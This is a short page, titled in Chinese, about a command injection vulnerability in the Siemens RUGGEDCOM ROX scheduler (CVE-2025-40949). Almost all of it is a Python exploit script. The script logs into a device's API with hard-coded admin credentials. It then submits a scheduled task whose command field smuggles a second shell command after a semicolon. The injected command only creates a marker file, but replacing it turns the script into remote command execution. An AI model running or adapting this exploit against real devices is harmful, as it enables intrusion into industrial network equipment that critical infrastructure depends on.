Siemens RUGGEDCOM ROX 计划任务命令注入漏洞 (CVE-2025-40949)

import requests # Target configuration TARGET_URL = "https://<device_ip>/api/scheduler" USERNAME = "admin" PASSWORD = "password" # Payload command to execute (e.g., creating a file as proof of concept) # The payload attempts to inject a command after a legitimate one using a semicolon MALICIOUS_COMMAND = "; touch /tmp/pwned_by_cve_2025_40949" def exploit(): session = requests.Session() # Step 1: Authenticate to the device (High privileges required) login_data = { "username": USERNAME, "password": PASSWORD } print("[*] Attempting to login...") response = session.post(f"https://<device_ip>/api/login", json=login_data, verify=False) if response.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # Step 2: Send payload to the Scheduler functionality # The vulnerability lies in the 'command' parameter not being sanitized payload_data = { "task_name": "Maintenance_Check", "schedule_time": "02:00", "command": f"/usr/bin/legitimate_check.sh {MALICIOUS_COMMAND}" } print(f"[*] Sending payload to {TARGET_URL}...") exploit_response = session.post(TARGET_URL, json=payload_data, verify=False) if exploit_response.status_code == 200: print("[+] Payload sent successfully. Check if command executed.") else: print(f"[-] Failed to send payload. Status code: {exploit_response.status_code}") if __name__ == "__main__": exploit()